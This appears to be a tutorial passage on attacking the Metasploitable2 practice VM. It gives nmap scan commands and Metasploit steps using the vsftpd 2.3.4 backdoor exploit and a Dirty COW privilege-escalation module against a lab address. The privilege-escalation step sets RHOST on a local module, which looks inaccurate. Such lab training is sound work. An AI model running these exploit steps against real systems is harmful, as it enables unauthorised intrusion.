Once you have the Metasploitable2 virtual machine set up, you can start exploring and using it to practice your security skills.
Begin by gathering information about the Metasploitable2 virtual machine, such as the running services, open ports, and potential vulnerabilities. You can use tools like nmap
and Metasploit
to scan the virtual machine and gather this information.
## Perform a TCP SYN scan on the Metasploitable2 VM
nmap -sS 192.168.56.101
Exploiting Vulnerabilities
After gathering information about the Metasploitable2 virtual machine, you can start exploiting the vulnerabilities found. Metasploit provides a wide range of pre-built exploits that you can use to gain access to the virtual machine.
## Use the Metasploit framework to exploit the FTP vulnerability
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.56.101
exploit
Post-Exploitation and Privilege Escalation
Once you have gained access to the Metasploitable2 virtual machine, you can explore further by attempting to escalate your privileges and gain root-level access. This can be done by exploiting additional vulnerabilities or misconfigurations within the virtual machine.
## Attempt to escalate privileges using the Metasploit framework
use exploit/linux/local/dirty_cow
set RHOST 192.168.56.101
exploit
Mitigating Vulnerabilities
As you explore the Metasploitable2 virtual machine, you can also learn about the various security best practices and mitigation techniques that can be used to address the vulnerabilities found. This includes applying security patches, configuring services correctly, and implementing proper access controls.
By using the Metasploitable2 virtual machine, you can gain valuable hands-on experience in the field of cybersecurity and develop your skills in penetration testing, vulnerability assessment, and incident response.